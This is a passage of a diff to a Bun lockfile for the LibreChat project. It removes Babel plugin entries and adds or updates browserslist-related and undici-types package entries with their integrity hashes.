- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="],
-
- "librechat-data-provider/@babel/preset-env/core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="],
-
- "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="],
-
- "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="],
-
- "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="],
-
- "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="],
+ "librechat-data-provider/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
"log-update/slice-ansi/ansi-styles": ["ansi-styles@6.2.1", "", {}, "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug=="],
@@ -7529,22 +7367,42 @@
"pkg-dir/find-up/locate-path": ["locate-path@5.0.0", "", { "dependencies": { "p-locate": "^4.1.0" } }, "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g=="],
+ "postcss-colormin/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
"postcss-colormin/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "postcss-convert-values/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
"postcss-convert-values/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "postcss-merge-rules/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
"postcss-merge-rules/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "postcss-minify-params/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
"postcss-minify-params/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "postcss-normalize-unicode/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
"postcss-normalize-unicode/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
- "postcss-preset-env/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "postcss-preset-env/autoprefixer/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="],
+
+ "postcss-preset-env/browserslist/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="],
+
+ "postcss-preset-env/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.307", "", {}, "sha512-5z3uFKBWjiNR44nFcYdkcXjKMbg5KXNdciu7mhTPo9tB7NbqSNP2sSnGR+fqknZSCwKkBN+oxiiajWs4dT6ORg=="],
+
+ "postcss-preset-env/browserslist/update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="],
+
+ "postcss-reduce-initial/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
"postcss-reduce-initial/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
"pretty-format/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
+ "protobufjs/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
+
"rehype-highlight/@types/hast/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
"rehype-highlight/unified/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
@@ -7573,12 +7431,14 @@
"rollup-plugin-typescript2/@rollup/pluginutils/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
